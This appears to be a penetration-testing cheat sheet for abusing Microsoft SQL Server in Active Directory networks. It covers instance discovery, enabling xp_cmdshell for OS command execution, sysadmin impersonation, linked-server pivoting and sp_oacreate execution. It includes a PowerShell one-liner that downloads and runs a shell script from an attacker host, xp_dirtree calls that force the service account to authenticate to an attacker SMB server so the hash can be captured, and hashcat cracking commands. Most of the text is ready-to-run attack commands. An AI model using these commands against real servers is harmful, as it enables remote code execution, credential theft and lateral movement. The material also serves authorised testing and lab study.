MSSQL in AD Environments
aka SQL Server, mssqlclient, xp_cmdshell, Linked Servers
MSSQL abuse in AD contexts: SQL Server discovery, authentication (Windows auth / SQL auth / impersonation), xp_cmdshell RCE, linked server traversal, NetNTLM hash capture via xp_dirtree, and MSSQL to lateral movement.
Ports
| Port | Proto | Notes |
|---|---|---|
1433 | tcp | MSSQL default port |
1434 | udp | SQL Browser service (instance discovery) |
Fingerprint
- nmap -p 1433 or nxc mssql reveals SQL Server instances
- UDP 1434 browser service reveals named instances (MSSQL\SQLEXPRESS etc.)
Key files
| Path | Holds | Sensitive |
|---|---|---|
master..xp_dirtree UNC path | forces MSSQL service account NTLM auth (NetNTLM hash capture) | sensitive |
C:\Windows\Temp\ | common staging location for xp_cmdshell output |
Exploitation primitives
- xp_cmdshell: OS command execution as the MSSQL service account
- xp_dirtree + Responder: capture MSSQL service account NetNTLMv2 hash
- Linked server traversal: pivot from a low-priv MSSQL to a privileged linked server
- Impersonation (EXECUTE AS): escalate from low-priv SQL login to sysadmin
Discovery
# nmap
nmap -p 1433 --open 10.129.0.0/24
nmap -p 1433 -sV --script ms-sql-info 10.129.1.10
# UDP 1434 — SQL Browser (reveals named instances)
nmap -sU -p 1434 10.129.1.10
# nxc
nxc mssql 10.129.0.0/24
# SPN enumeration (SQL Server often registers SPNs)
GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP
# Look for: MSSQLSvc/hostname.domain.local:1433
Connect (mssqlclient.py)
# SQL auth
mssqlclient.py sa:password@TARGET
# Windows auth (domain account)
mssqlclient.py -windows-auth domain.local/user:pass@TARGET
# Hash auth (Windows auth)
mssqlclient.py -windows-auth -hashes :NTHASH domain.local/user@TARGET
# Named instance
mssqlclient.py -windows-auth domain.local/user:pass@TARGET\\SQLEXPRESS
Once connected, mssqlclient.py gives an SQL> prompt.
Reconnaissance (SQL Queries)
-- Current user and privileges
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- All logins
SELECT name, type_desc, is_disabled FROM sys.server_principals;
-- All databases
SELECT name FROM sys.databases;
-- Linked servers
SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;
-- Impersonatable logins
SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
xp_cmdshell — OS Command Execution
-- Check if enabled
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell';
-- Enable xp_cmdshell (requires sysadmin)
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Run a command
EXECUTE xp_cmdshell 'whoami';
EXECUTE xp_cmdshell 'net user';
-- Reverse shell
EXECUTE xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/shell.ps1'')"';
In mssqlclient.py:
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> xp_cmdshell "powershell -enc BASE64_PAYLOAD"
xp_dirtree — NetNTLM Hash Capture
Force the MSSQL service account to authenticate to an attacker-controlled SMB server:
# Terminal 1: Start Responder
sudo responder -I eth0 -wrf
# Terminal 2: Connect to MSSQL and trigger
mssqlclient.py -windows-auth domain.local/user:pass@TARGET
-- Trigger NTLM auth to attacker's Responder
EXEC master..xp_dirtree '\\ATTACKER_IP\share', 1, 1;
-- Alternative: xp_fileexist
EXEC master..xp_fileexist '\\ATTACKER_IP\share\test.txt';
Responder captures the NetNTLMv2 hash of the MSSQL service account. Crack with:
hashcat -m 5600 mssql_hash.txt /usr/share/wordlists/rockyou.txt
Impersonation Escalation
If a low-priv SQL login can impersonate a sysadmin:
-- Check impersonation rights
SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Impersonate sysadmin
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- Enable xp_cmdshell as impersonated sysadmin
EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
-- Revert
REVERT;
Linked Server Traversal
Jump from a low-privilege MSSQL server to a linked server that may have higher privilege:
-- List linked servers
SELECT * FROM sys.servers WHERE is_linked = 1;
-- Execute query on linked server
EXEC ('SELECT @@SERVERNAME') AT [LINKED_SERVER_NAME];
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@SERVERNAME, SYSTEM_USER');
-- Enable xp_cmdshell on linked server (if sysadmin there)
EXEC ('EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME];
EXEC ('EXECUTE xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
# mssqlclient.py linked server helper
SQL> enum_links
SQL> use_link [LINK_NAME]
SQL> xp_cmdshell whoami
Token Escalation via sp_oacreate
Alternative when xp_cmdshell is blocked:
DECLARE @shell INT;
EXECUTE sp_oacreate 'wscript.shell', @shell OUT;
EXECUTE sp_oamethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\Temp\out.txt', '1', 'true';
EXECUTE sp_oadestroy @shell;
-- Read output
CREATE TABLE #output (line NVARCHAR(255));
BULK INSERT #output FROM 'C:\Temp\out.txt';
SELECT * FROM #output;
DROP TABLE #output;
nxc MSSQL Quick Reference
# Authentication test
nxc mssql TARGET -u sa -p 'Password123'
nxc mssql TARGET -u sa -p 'Password123' --local-auth
# Execute OS command
nxc mssql TARGET -u sa -p pass -x 'whoami'
# SQL query
nxc mssql TARGET -u sa -p pass -q 'SELECT name FROM sys.databases'